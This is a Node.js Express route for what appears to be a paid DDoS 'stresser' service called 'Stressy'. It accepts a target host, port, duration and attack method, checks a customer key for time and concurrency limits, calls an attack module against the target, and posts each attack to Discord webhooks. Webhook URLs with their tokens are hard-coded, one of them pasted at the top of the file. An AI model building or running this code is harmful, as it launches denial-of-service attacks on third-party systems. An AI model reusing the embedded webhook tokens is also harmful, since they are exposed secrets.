https://discord.com/api/webhooks/1102205544443424878/QSJvFW9VVXgGu4trByODFXteiJAtTLlTJq-ng9gwb_WoljFXcW-M1f_CY08M12FPguIt const express = require("express"); const attack = require("../attack"); const fs = require("fs"); const fetch = require('node-fetch'); const router = express.Router(); // Initialize the request counter to 0 let requestCounter = 0; router.get("/", async (req, res) => { // Increment the request counter requestCounter++; const host = req.query.host; const port = req.query.port; const time = req.query.time; const method = req.query.method; const key = req.query.key; const keyFile = fs.readFileSync("keys.json"); let keyData = JSON.parse(keyFile); const methodFile = fs.readFileSync("methods.json"); let methods = JSON.parse(methodFile); try { parseInt(time); } catch (err) { return res.send(` Time is Invalid`); } try { parseInt(port); } catch (err) { return res.send(` Port is Invalid`); } if (!(host && port && time && method && key)) return await res.send(` Missing Peramaters`); if (!keyData[key]) return await res.send(` Key Invalid`); if (!methods.includes(method.toUpperCase())) return await res.send(` Invalid Method`); if (time > keyData[key]["time"]) return await res.send(` Max Time Reached`); if (keyData[key].curCons >= keyData[key].maxCons) return await res.send(` Maximum Conncurents Reached`); const params = { username: "Stressy Logs", avatar_url: "", embeds: [ { "title": "New Attack From Stressy", "color": 1525, "description": `**HOST:** ${host}\n**PORT:** ${port}\n**TIME:** ${time}\n**METHOD:** ${method}\n**Total Attacks:** ${requestCounter}\n**Key:** ${key}` } ] } fetch("https://discord.com/api/webhooks/1095771577959841844/Chty839to-htb7YL29X_Qvch2wULG37POH0mfovg7ObSzFQT6FvDhZOCiQATrrBoigZ1", { method: "POST", headers: { 'Content-type': 'application/json' }, body: JSON.stringify(params) }); attack.send(host, port, time, method); keyData[key].curCons += 1; await fs.writeFile("keys.json", JSON.stringify(keyData, null, 4), (err) => { res.send(`

Successful

Host: ${host}

--------------

Port: ${port}

--------------

Time: ${time}

--------------

Method: ${method}

--------------

Total Attacks: ${requestCounter}

funny GIF
`); setTimeout(() => { keyData[key].curCons -= 1; fs.writeFile("keys.json", JSON.stringify(keyData, null, 4), (err) => {}); }, parseInt(time) * 1000); }); }); module.exports = router;